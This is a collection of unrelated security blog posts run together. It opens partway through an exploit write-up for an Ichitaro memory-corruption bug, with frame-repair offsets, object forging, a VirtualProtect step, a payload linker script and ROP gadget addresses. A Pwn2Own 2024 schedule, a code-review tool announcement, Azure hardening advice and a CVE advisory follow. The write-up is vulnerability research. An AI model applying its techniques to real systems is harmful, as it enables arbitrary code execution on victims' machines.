This is done by taking the difference between the " s" field in frame 0x3BBB2DE4 which is our overwritten frame pointer value, and the " s" field in frame 0x3C1FAF0F which is the correct value before overwriting the frame pointer. The result of this calculation is 0x334 bytes, and we only need to add this value to our current frame pointer in the %ebp register to determine the correct value.

We'll also need to do a similar calculation to locate the saved frame pointer that was overwritten for us to write our correct value to it. This is demonstrated in the listing that follows. Instead of using the " s" field in frame 0x3C1FAF0F, we'll need to use the " s" field in frame 0x3BE26CB2. The distance to correct the overwritten frame pointer is then calculated as +0xC4. Utilizing both values allows us to completely repair the frame and return the application to the state before our modifications after we've accomplished our goal.

# Display the layout that we'll be examining.
Python> pp(layout[:-1])
[<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>,
 <class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>,
 <class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>]

Python> pp(listmap(func.name, map(func.by, layout[:-1])))
['object_OFRM::openStreamByName?_132de4',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2']

# Identify the two members that we will need to use to locate the frame pointer
# that we will need to overwrite in order to repair the call stack.
Python> pp((layout[0].members.by(' s'), layout[2].members.by(' s')))
(<member '$ F3BBB2DE4. s' index=2 offset=-0x33c size=+0x4 typeinfo='char[4]'>,
 <member '$ F3BE26CB2. s' index=0 offset=-0x278 size=+0x4 typeinfo='char[4]'>)

# Calculate the difference between the current frame pointer, and the preserved
# frame pointer that we will overwrite.
Python> layout[0].members.by(' s').offset - layout[2].members.by(' s').offset
-0xc4

Loading the contents of a stream

After repairing the frame, we still need some way of loading a payload into the address space to mark it as executable and then execute it. Since we hijacked execution after the stream that contained the vulnerability was closed by the application, we'll need some other means to load our code. Fortunately, as we have access to the scope of the stream parsing, we can reuse anything available within the stack to perform this. This is only possible because the JSVDA.DLL module, which contains the necessary functionality to interact with a document object, is at a known address, and the document is stored within the application as a single handle. Thus, only the object's handle and its virtual method table are necessary to forge our own instance of the document object, and we’ll need to reference it to restore the ability to read from the document back to the application.

Revisiting the call stack containing the scope of the document parser to the point where we hijack execution, we need the distance between our saved frame pointer and the field inside the frame for the object_9c2044::method_processStreams_77af0f function at 0x3C1FAF0F which contains the document object. In the following listing, the ap_oframe_0 field contains the document object of type JSVDA::object_OFRM that was passed in from its caller, and then the lp_oframe_230 local variable in the frame maintains a copy of it for the method. Once we've calculated the distance between our current frame pointer and the location of one of these objects, we can simply load the object's handle from its list of properties, and then use it anywhere to access the contents of the loaded document.

Python> callstack = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python> pp(listmap(func.name, callstack))
['object_OFRM::openStreamByName?_132de4',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::method_processStreams_77af0f']

# Convert our callstack into a list of frames.
Python> layout = struc.right(func.frame(callstack[-1]), listmap(func.frame, callstack[:-1]))

# List all frame variables that have a type.
Python> layout[-1].list(typed=True)
[ 4] -254:+0x18  frame_77af0f::field_24c 'lv_struc_24c'      <class 'structure' name='frame_77af0f::field_24c' offset=-0x254 size=0x18>
[ 6] -238:+0x4       JSVDA::object_OFRM* 'lp_oframe_230'     (<class 'type'>, 4)
[ 7] -234:+0x228           object_2f27f8 'lv_object_22c'     <class 'structure' name='object_2f27f8' offset=-0x234 size=0x228>
[11]    0:+0x4       JSVDA::object_OFRM* 'ap_oframe_0'       (<class 'type'>, 4)
[12]    4:+0x4              unsigned int 'av_documentType_4' (<class 'int'>, 4)
[13]    8:+0x4              unsigned int 'av_flags_8'        (<class 'int'>, 4)
[14]    c:+0x4             struc_79aa9a* 'ap_stackobject_c'  (<class 'type'>, 4)
[15]   10:+0x4                       int 'ap_null_10'        (<class 'int'>, 4)

# List all frame variables that reference the object used to read from an opened document.
Python> layout[-1].list(structure=struc.by('JSVDA::object_OFRM'))
[ 6] -238:+0x4 JSVDA::object_OFRM* 'lp_oframe_230' (<class 'type'>, 4)
[11]    0:+0x4 JSVDA::object_OFRM* 'ap_oframe_0'   (<class 'type'>, 4)

In the exploit, we leverage our vulnerability to store an address to the forged object's virtual method table in memory. Thus, to complete the object, we only need to write the handle from the document object that we loaded from farther up our call stack to its correct place after the virtual method table. At this point, we can call any of its methods to use our copy of it. The following listing is the simple layout of this object.

Python>struc.search('*_OFRM').members
<class 'structure' name='JSVDA::object_OFRM' size=0x8>  # [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (<class 'int'>, 4)          # [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4'   (<class 'int'>, 4)          # {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM'}

Afterward, the rest of the process is straightforward. To allocate a page of memory, we use another method within the same module. We copy the original virtual method table back into our forged object and then reuse it to open up an arbitrary stream from the file and return another object for the stream. Using this stream object, we read the contents of the opened stream into the allocated page of memory.

To make this allocated page of memory executable, we reuse a wrapper around one of the imports within the same module to call "VirtualProtect". Finally, we call our stub for the loaded code to initialize the payload and branch to its real entry point. Once the payload completes its execution and returns to us, we set a successful return code so that the 0x3C1FAF0F function believes that the stream was parsed successfully. At this point, our payload is successfully executing in the background and the application has completely rendered the document.

Using a compiler

After the process for loading the desired code into the address space is complete, it is generally publically agreed upon to directly include “shellcode” to maintain execution within the context of the exploited process. Shellcode involves generated or hand-written assembly code that is used to demonstrate control of execution. Alternatively, one can simply leverage open-source compiler tools to implement their payload in a language with higher-level abstractions. This is not only limited to closed-source compilers, however, as one can implement a basic linker with a stub at the entry point of the linked code that is responsible for applying the necessary relocations to its data and then loading the final payload. This is not dissimilar to the reflective DLL injection technique from Stephen Fewer.

The following linker script can be used with the MinGW port of the GNU linker (ld) to emit a contiguous binary that may be loaded into the context of a process. This linker script isolates the entry point from the contiguous pages that need to be mapped as executable and the pages that need to be mapped as writable. After the data and executable code has been properly mapped, an implementer will then need to apply __load_size relocations that are stored between the __load_reloc_start and __load_reloc_stop symbols. If imports are included in the linked target, these end up being stored between the __load_import_start and __load_import_end symbols.

ENTRY(_start)
STARTUP(src/entry.o)
TARGET(pe-i386)

SECTIONS {
    HIDDEN(_loc_counter = .);
    HIDDEN(_loc_align = 0x10);

    .load _loc_counter : {
        __load_start = ABSOLUTE(.);
        KEEP(*(.init))
        KEEP(*(.fini))
        . = ALIGN(_loc_align);

        __load_size = .; LONG(__load_end - __load_start);
        __load_segment_start = .; LONG(__segment_start);
        __load_segment_end = .; LONG(__segment_end);
        __load_reloc_start = .; LONG(__reloc_start);
        __load_reloc_end = .; LONG(__reloc_end);
        __load_import_start = .; LONG(__import_start);
        __load_import_end = .; LONG(__import_end);

        __load_end = ABSOLUTE(.);
        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.load);

    .imports _loc_counter : {
        __import_size = ABSOLUTE(.); LONG(__import_end - __import_start);
        __import_start = ABSOLUTE(.);
        *(.idata)
        *(SORT_BY_NAME(.idata$*))
        __import_end = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.imports);

    __segment_start = ABSOLUTE(.);

    .text _loc_counter : {
        *(.text)
        *(SORT_BY_NAME(.text$*))
        *(.text.*)
        . = ALIGN(_loc_align);

        __CTOR_LIST__ = ABSOLUTE(.);
        LONG((__CTOR_END__ - __CTOR_LIST__) / 4 - 2);
        KEEP(*(.ctors));
        KEEP(*(.ctor));
        KEEP(*SORT_BY_NAME(.ctors.*));
        LONG(0);
        __CTOR_END__ = ABSOLUTE(.);

        __DTOR_LIST__ = ABSOLUTE(.);
        LONG((__DTOR_END__ - __DTOR_LIST__) / 4 - 2);
        KEEP(*(.dtors));
        KEEP(*(.dtor));
        KEEP(*SORT_BY_NAME(.dtors.*));
        LONG(0);
        __DTOR_END__ = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.text);

    .data _loc_counter : {
        *(.data)
        *(SORT_BY_NAME(.data$*))
        *(.data.*)
        *(.*data)
        *(.*data.*)

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.data);

    __segment_end = ABSOLUTE(.);

    .relocations _loc_counter : {
        __reloc_size = ABSOLUTE(.); LONG(__reloc_end - __reloc_start);
        __reloc_start = ABSOLUTE(.);
        *(.reloc)
        __reloc_end = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.relocations);

    .bss (NOLOAD) : {
        *(.bss)
        *(COMMON)
    }

    .discarded (NOLOAD) : {
        *(.*)
    }

    __end__ = _loc_counter;
}

By implementing the logic required to map the chosen segments into memory and applying the necessary relocations, dependence on the platform’s runtime linker can be avoided entirely. After this, an implementer can then initialize the runtime for their desired language and develop more complicated payloads in a language that better facilitates their needs.

Alternatively, a linker for the PECOFF object and archive formats is also included with the exploit in case the implementer prefers to use a closed-source compiler for their payload. This linker will take a list of input files and emit a block of binary data that when executed by the exploit will load and execute the implemented payload.

Finishing up

After our loaded code has been successfully executed, we only need to set the %eax register to a correct value to tell the caller that either the stream could not be opened, or it has been opened successfully. After assigning the result, we need to use a regular frame pointer exit to leave the hijacked function and resume execution as if nothing happened. The following two addresses will do exactly that. Because the hijacked frame pointer had previously been repaired before executing our payload, the application will continue to attempt to parse and load the rest of the contents for the document as if nothing terrible has happened.

JSAPRUN.DLL    0x6100e5cf: pop eax; ret;
JSAPRUN.DLL    0x6100104f: leave; ret;

Conclusion

When it comes to exploiting memory corruption vulnerabilities on modern operating systems, the time of generic exploitation techniques is long gone. Exploitation techniques are application-specific and developing them requires a far deeper understanding of their inner workings, often ones that original developers are unaware of due to abstractions of high-level languages. While the presence of an interactive execution environment or a scripting language offers almost limitless exploitation flexibility, in environments like Ichitaro’s an exploit developer has to chain together many different side-effects to achieve a one-shot exploit.

In the case presented, a single vulnerability was abused to ultimately achieve arbitrary code execution. This is often not the case where exploits require chaining multiple vulnerabilities. This often makes it difficult to judge the severity of individual vulnerabilities but exploitation demonstrations like the one presented here develop an equivalence class that enables us to make informed decisions without demonstrating exploitation for every instance. 

Pwn2Own Vancouver 2024 - The Full Schedule

Welcome to Pwn2Own Vancouver 2024! This year’s event promises to be the largest-ever Vancouver event - both in terms of entries and potential prizes. If everything hits, we will end up paying out over $1,300,000 in cash and prizes - including a Tesla Model 3. We’ve got two full days of exciting competition ahead. As always, we began our contest with a random drawing to determine the order of attempts. If you missed it, you can watch the replay here.

The complete schedule for the contest is below (all times Pacific Daylight Time [UTC - 7:00]).

Note: All times subject to change

Day One

Wednesday, March 20 – 0930              

AbdulAziz Hariri of Haboob SA targeting Adobe Reader in the Enterprise Applications category.

Wednesday, March 20 – 1000              

DEVCORE Research Team targeting Microsoft Windows 11 in the Local Privilege Escalation category.

Wednesday, March 20 – 1030              

STAR Labs SG targeting Microsoft SharePoint in the Server category.

Wednesday, March 20 – 1100              

Seunghyun Lee (@0x10n) of KAIST Hacking Lab targeting Google Chrome in the Web Browser category.

Wednesday, March 20 – 1200              

Theori targeting VMware Workstation with an additional Windows Kernel LPE vulnerability in the Virtualization category.

Wednesday, March 20 – 1230              

DEVCORE Research Team targeting Ubuntu Desktop in the Local Privilege Escalation category.

Wednesday, March 20 – 1300              

Bruno PUJOS and Corentin BAYET from REverse Tactics (@Reverse_Tactics) targeting Oracle VirtualBox with an additional Windows Kernel LPE vulnerability in the Virtualization category.

Wednesday, March 20 – 1430              

Synacktiv targeting Tesla ECU with Vehicle (VEH) CAN BUS Control in the Automotive category.

Wednesday, March 20 – 1500              

Kyle Zeng from ASU SEFCOM targeting Ubuntu Desktop in the Local Privilege Escalation category.

Wednesday, March 20 – 1530              

Cody Gallagher targeting Oracle VirtualBox in the Virtualization category.

Wednesday, March 20 – 1600              

Manfred Paul (@_manfp) targeting Apple Safari in the Web Browser category.

Wednesday, March 20 – 1700              

STAR Labs SG targeting VMware ESXi in the Virtualization category.

Wednesday, March 20 – 1800              

Team Viettel targeting Oracle VirtualBox in the Virtualization category.

Wednesday, March 20 – 1830              

Manfred Paul (@_manfp) targeting Google Chrome with Double Tap addon in the Web Browser category.

Day Two 

Thursday, March 21 – 0930   

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Privilege Escalation category.

Thursday, March 21 – 1000   

STAR Labs SG targeting VMware Workstation in the Virtualization category.

Thursday, March 21 – 1030   

ColdEye targeting Oracle VirtualBox in the Virtualization category.

Thursday, March 21 – 1100   

Manfred Paul (@_manfp) targeting Mozilla Firefox with Sandbox Escape in the Web Browser category.

Thursday, March 21 – 1200   

Gabriel Kirkpatrick (gabe_k of exploits.forsale) targeting Microsoft Windows 11 in the Local Privilege Escalation category.

Thursday, March 21 – 1230   

STAR Labs SG targeting Ubuntu Desktop in the Local Privilege Escalation category.

Thursday, March 21 – 1300   

Edouard Bochin (@le_douds) and Tao Yan (@Ga1ois) from Palo Alto Networks targeting Google Chrome with Double Tap addon in the Web Browser category.

Thursday, March 21 – 1430   

HackInside targeting Microsoft Windows 11 in the Local Privilege Escalation category.

Thursday, March 21 – 1500   

STAR Labs SG targeting Docker Desktop in the Cloud Native / Container category.

Thursday, March 21 – 1530   

Seunghyun Lee (@0x10n) of KAIST Hacking Lab targeting Microsoft Edge (Chromium) with Double Tap Addon in the Web Browser category.

Thursday, March 21 – 1630   

Valentina Palmiotti with IBM X-Force targeting Microsoft Windows 11 in the Local Privilege Escalation category.

Thursday, March 21 – 1700   

Theori targeting Ubuntu Desktop in the Local Privilege Escalation category. 

We’ll be publishing results live on the blog as the contest unfolds. We’ll also be posting brief video highlights to Twitter, YouTube, Mastodon, LinkedIn, and Instagram, so follow us on your favorite flavor of social media for the latest news from the event.

Read code like a pro with our weAudit VSCode extension

By Filipe Casal

Today, we’re releasing weAudit, the collaborative code-reviewing tool that we use during our security audits. With weAudit, we review code more efficiently by taking notes and tracking bugs in a codebase directly inside VSCode, reducing our reliance on external tools, ensuring we never lose track of bugs we find, and enabling us to share that information with teammates.

We designed weAudit with features that are crucial to our auditing process:

  • Bookmarks for findings and notes: Bookmark code regions to identify findings or add audit notes.
  • Tracking of audited files: Mark entire files as reviewed.
  • Collaboration: View and share findings with multiple users.
  • Creation of GitHub issues: Fill in detailed information about a finding and create a preformatted GitHub issue right from weAudit.

You can install it through the VSCode marketplace and find its code in our vscode-weaudit repo.

Why we built weAudit

When we review complex codebases, we often compile detailed notes about both the high-level structure and specific low-level implementation details to share with our project team. For high-level notes, standard document sharing tools more than suffice. But those tools are not ideal for sharing low-level, code-specific notes. For those, we need a tool that allows us to share notes that are more tightly coupled with the codebase itself, almost like using post-it notes to navigate through a complex book. Specifically, we need a tool that allows us to do the following:

  • Quickly navigate through areas of interest in the codebase
  • Visually highlight significant areas of the code
  • Add audit notes to certain parts of the codebase

For some time, I used a very simple extension for VSCode called “Bookmarks”, which allowed me to add basic notes to lines of code. However, I was never satisfied with this extension, as it was missing crucial features:

  • The highlighted code did not display the notes I had written next to the code.
  • I had no way of sharing code coverage information with my client or fellow engineers auditing the codebase.
  • I had no way of sharing my notes and bookmarks. During an audit with a team of engineers, I need to be able to share these things with my team so that my knowledge is their knowledge, and vice versa.

All of us engineers at Trail of Bits agreed that we needed a better tool for this purpose. We realized that if we wanted an extension tailored to our needs, we would need to create it. That is why we built weAudit.

weAudit’s main features

The features we built into weAudit streamline our process of bookmarking, annotating, and tracking code files under audit, sharing our notes, and creating GitHub issues for findings we discover.

Bookmarks

The extension supports two types of bookmarks: findings, which represent buggy or suspicious regions of code, and notes, which represent personal annotations about the code.

You can add findings and notes to the current code snippet selection by running the corresponding VSCode commands or using the keyboard shortcuts:

  • “weAudit: New Finding from Selection” (shortcut: Cmd + J)
  • “weAudit: New Note from Selection” (shortcut: Cmd + K)

These commands will highlight the code in the editor and create a new bookmark in the “List of Findings” view in the sidebar.

By clicking on an item in the “List of Findings” view, you can navigate to the corresponding region of code.

Files with a finding will have a “!” annotation next to the file name in both the file tree of VSCode’s default “Explorer” view and in the tab above the editor, making it immediately clear which files have findings.

The highlight colors can be customized in the extension settings.

Tracking audited files

After reviewing a file, you can mark it as audited by running the “weAudit: Mark File as Reviewed” command or its keyboard shortcut, Cmd + 7. The whole file will be highlighted, and the file name in both the file tree and the tab above the editor will be annotated with a ✓.

The highlight color can be customized in the extension settings.

Daily log

Have you ever had trouble remembering which files you reviewed the previous week? Or do you just really like meaningless statistics such as the number of lines of code you read in a single day? You can see these stats by showing the daily log, accessible from the “List of Findings” panel.

You can also view the daily log by running the “weAudit: Show Daily Log” command in the command palette.

Collaboration with multiple users

You can share weAudit files (located in the .vscode folder) with your co-auditors to share findings and notes about the code. In the “weAudit Files” panel, you can toggle to show or hide the findings from each user by clicking on each entry. The colors for other users’ findings and notes and for your own findings and notes are customizable in the extension settings.

Detailed findings

You can fill in detailed information about a finding by clicking on it in the “List of Findings” view in the sidebar, where you can add all the information we include in our audit reports: title, severity, difficulty, description, exploit scenario, and recommendations for resolving the issue.

This information is then used to prefill a template, allowing you to quickly open a GitHub issue with all of the relevant details for the finding.

You can find more details and information about other features in our README.

Try it out for yourself!

If you use VSCode to navigate through large codebases, we invite you to try weAudit—even if you are not looking for bugs—and let us know what you think!

We welcome any bug reports, feature requests, and contributions in our vscode-weaudit repo.

If you’re interested in VSCode extension security, check out our “Escaping misconfigured VSCode extensions” and “Escaping well-configured VSCode extensions (for profit)” blog posts.

Contact us if you need help securing your VSCode extensions or any other application.

Identity Providers for RedTeamers

Originally presented at SOCON-2024, and continuing the series into post-exploitation techniques against Identity Providers, in this blog post we'll look at Ping, OneLogin and Entra ID. I'll discuss how post-exploitation techniques effective against Okta apply to other providers, release new tools for post-exploitation, and look at what proves to be effective when critical assets lie beyond an Identity Provider portal.

5 Best Practices to Secure Azure Resources

Cloud computing has become the backbone for modern businesses due to its scalability, flexibility and cost-efficiency. As organizations choose cloud service providers to power their technological transformations, they must also properly secure their cloud environments to protect sensitive data, maintain privacy and comply with stringent regulatory requirements. 

Today’s organizations face the complex challenge of outpacing cloud-based threats. Adversaries continue to set their sights on the expansive surface of cloud environments, as evidenced by the 75% increase in cloud intrusions in 2023 recorded in the CrowdStrike 2024 Global Threat Report. This growth in adversary activity highlights the need for organizations to understand how to protect their cloud environment and workloads. 

In light of the frequent breaches of Microsoft’s infrastructure, organizations using Microsoft Azure should take proactive steps to mitigate potential risk. Microsoft’s solutions can be complex, difficult to maintain and configure, and prone to vulnerabilities. It’s the responsibility of organizations using Azure to ensure their cloud environments are properly configured and protected. 

This blog outlines best practices for securing Azure resources to ensure that your cloud infrastructure is fortified against emerging and increasingly sophisticated cyber threats.

Best Practice #1: Require Multifactor Authentication (MFA) and Restrict Access to Source IP Addresses for Both Console and CLI Access

In traditional IT architecture, the security perimeter was clearly defined by the presence of physical network firewalls and endpoint protections, which served as the first line of defense against unauthorized access. In cloud-based environments, this traditional architecture has evolved to include identity, which encompasses user credentials and access management.

This shift amplifies the risk of brute-force attacks or the compromise of user credentials. Particularly in Microsoft environments, the complexity of the identity security framework and inability to consistently apply conditional access policies across the customer estate introduce additional risk. Navigating Microsoft’s security solutions can be daunting, with multiple agents to manage and an array of licenses offering varying levels of protection. The lack of real-time protection and inability to trigger MFA directly through a domain controller further amplify risk. 

Adversaries who manage to procure valid credentials, especially by taking advantage of weak identity security practices, can masquerade as legitimate users. This unauthorized access becomes even more dangerous if the compromised account has elevated privileges. Adversaries can use these accounts to establish persistence and perform data exfiltration, intellectual property theft or other malicious activity that can have devastating impacts on an organization’s operations, reputation and bottom line.

To avoid this, organizations should:

  • Use conditional access: Implement conditional access policies and designate trusted locations.
  • Require MFA: Enforce rules for session times, establish strong password policies and mandate periodic password changes.
  • Monitor MFA connections: Verify that MFA connections originate from a trusted source or IP range. For services that cannot utilize managed identities for Azure resources and must rely on static API keys, a critical best practice is to restrict usage to safe IP addresses when MFA is not an option. However, it’s crucial to understand that broadly trusting IPs from your data centers and offices does not constitute a safe practice. Despite the network location, MFA should always be mandated for all human users to ensure maximum security.

Best Practice #2: Use Caution When Provisioning Elevated Privileges

Privileged accounts have elevated permissions, allowing them to perform tasks or operations that a standard user would not be able to perform. These may include accessing sensitive resources or making critical changes to a system or network. Accounts provisioned with more privileges than needed are appealing to adversaries, driving both the likelihood of compromise and the risk of damage. 

Adversaries often target privileged Azure identities to establish persistence, move laterally and steal data. While high privileges are necessary for IT and systems administrators to accomplish routine tasks, weak security policies on account provisioning can dramatically overexpose an organization to risk. These privileges should be tightly controlled and monitored, and only provisioned when strictly necessary after a security process has been defined and implemented. 

Service accounts add to these challenges. Their limitations represent a troublesome area for Microsoft — for example, the difficulty in discovering and tracking Active Directory-based service accounts and poor visibility into these accounts’ behavior. CrowdStrike automatically differentiates between service accounts and human users to deliver the most appropriate configurations and responses. Further, Microsoft Defender for Identity lacks pre-built detections designed for service accounts — such as identifying stale service accounts or detecting interactive logins by stale accounts — something CrowdStrike customers can easily address. 

To help prevent adversaries’ abuse of privileged accounts, organizations should:

  • Reduce the quantity of privileged users: Only grant privileged role assignments to a limited number of users. Overprovisioning is common and is often done by default by the application.
  • Follow the principle of least privilege: Individuals should only be granted the minimum permissions necessary to perform their required tasks. Regular reviews should be scheduled with a view to downgrading privileges where the need no longer exists.
  • Control access: Restrict cloud access to only trusted IP addresses and services that are genuinely required.
  • Ensure that privileged accounts are cloud-only: Azure privileged accounts should be cloud-only (not synced to a domain), they should require MFA and they should not be used for daily tasks such as email or web browsing.

Best Practice #3: Utilize Key Vaults or a Secrets Management Solution to Store Sensitive Credentials

A surprising amount of digital information is unintentionally stored in public-facing locations that can be accessed by adversaries and then weaponized against an organization. Public code repositories, version control systems or other repositories used by developers can have a high risk of exposing live access keys, which authenticate a trusted user into a cloud service. Exposed access keys allow adversaries to pose as legitimate users and bypass authentication mechanisms into cloud services. 

Adversaries can use access keys, along with metadata and formatting clues, to identify specifics about an environment. Exposed access keys can also be acquired from code snippets, copied from a repository where they are exposed or pulled from compromised systems or logs. Private source code repositories can be compromised, leading to theft of these API keys.

Stolen credentials, whether they’re console usernames and passwords or API key IDs and secret IDs, play an essential role in many incidents. This is evident in the latest Microsoft breach by Russian state actors, which stole cryptographic secrets such as passwords, certificates and authentication keys during the attack. This incident raises a significant concern: If Microsoft, using its own technology and expertise in the environment it owns, struggles to remain secure, how can Microsoft customers confidently protect their own assets? 

To protect against this, security teams should ask themselves:

  • Where do we store access keys?
  • Where are our access keys embedded?
  • How often do we rotate our access keys? 

Having a dedicated secrets management solution to protect and enforce granular access to specific secrets makes it difficult for an adversary or insider threat to steal credentials.

Important note: Proceed with extreme caution when tying administrative or highly privileged access to the key vaults to SSO. If your SSO is subverted through weak MFA management, all of your credentials could be instantly stolen by a threat actor impersonating an existing or new/newly privileged user. Hardware tokens and strong credential reset management is a must for these applications.

Best Practice #4: Don’t Allow Unrestricted Outbound Access to the Internet

One of the most common cloud misconfigurations we see is unrestricted outbound access. This allows for unrestricted communications from internal assets, opening the door for outbound adversary communications and data exfiltration.

Also described as free network egress, unrestricted outbound access is a misconfiguration in which Azure cloud resources like containers, hosts and functions are allowed to communicate externally to any server on the internet with limited controls or oversight. This can be a default misconfiguration, and security teams often have to collaborate with IT or DevOps teams to address it. Because developers or system owners don’t always have full knowledge of the various external services that a workload might depend on — and because they might be accustomed to having unrestricted outbound access in their other work environments — some organizations battle with trying to close this loophole.

Adversaries can exploit this wherever untrusted data is processed by a workload. For example, an adversary may attempt to compromise the underlying software processing web requests, queued messages or uploaded files using remote code execution. This is then followed by payload retrieval or establishing a reverse shell. If outbound access is not permitted, they cannot retrieve the payload and attacks cannot be completed. However, once an initial code execution attack is successful, the adversary has full execution control in the environment.

To address this, organizations can:

  • Configure rules and settings: Define cloud rules to securely control and filter outbound traffic, with provisioned security groups serving as an additional layer of protection.
  • Apply the principle of least privilege: Grant outbound access only to resources or services where it is explicitly required.
  • Control access: Limit cloud access exclusively to trusted IP addresses and services that are genuinely necessary.
  • Add security through a proxy layer: Utilize proxy server tiers to introduce an additional layer of security and depth.

Best Practice #5: Scan Continuously for Shadow IT Resources

It is common for organizations to have IT assets and processes running in Azure tenants that the security teams do not know about. There have been incidents in which threat actors have compromised Azure resources that were unauthorized or were supposed to have been decommissioned. Both nation-state and eCrime adversaries thrive in these environments, where logging and visibility are typically poor and audit/change control is often nonexistent.

Some recommendations to address shadow IT resources include:

  • Implement continuous scanning: Deploy tools and processes to continuously scan for unauthorized or unknown IT resources within Azure environments, ensuring all assets are accounted for and monitored.
  • Establish robust asset management: Adopt a comprehensive cloud asset management solution that can identify, track and manage all IT assets to prevent unauthorized access and use, enhancing overall security posture. This includes Azure enterprise applications and service principals along with their associated privileges and credentials. 
  • Enhance incident response: Strengthen incident response strategies by integrating asset management insights, enabling quick identification and remediation of compromised or rogue assets. These may include unauthorized virtual machines used for activities like crypto mining and enterprise apps and service principals used or repurposed to exfiltrate databases, file shares and internal documentation and email.

CrowdStrike Falcon Cloud Security 

CrowdStrike Falcon® Cloud Security empowers customers to meticulously assess their security posture and compliance across Azure and other cloud platforms, applications and workloads. It delivers effective protection against cloud-based threats, addresses potential misconfigurations and ensures adherence to compliance. These capabilities allow organizations to maintain an integrated, comprehensive overview of all cloud services and their compliance status, pinpointing instances of excessive permissions while proactively detecting and automating the remediation of indicators of attack (IOAs) and cloud misconfigurations. 

This strategic approach not only enhances the security framework but enables developers and security teams to deploy applications in the cloud with increased confidence, speed and efficiency, underscoring CrowdStrike’s commitment to bolstering cloud security and facilitating a safer, more secure digital transformation for businesses leveraging cloud infrastructure.

Evaluate your cloud security posture with a free Cloud Security Risk Review. During the review, you will engage in a one-on-one session with a cloud security expert, evaluate your current cloud environment and identify misconfigurations, vulnerabilities and potential cloud threats. 

Additional Resources

CVE-2024-0860

CWE-319: CLEARTEXT TRANSMISSION OF SENSITIVE INFORMATION

The affected product is vulnerable to a cleartext transmission of sensitive information vulnerability, which may allow an attacker to capture packets to craft their own requests.

Softing edgeConnector: Version 3.60 and Softing edgeAggregator: Version 3.60 are affected. Update Softing edgeConnector and edgeAggregator to v3.70 or greater.

❌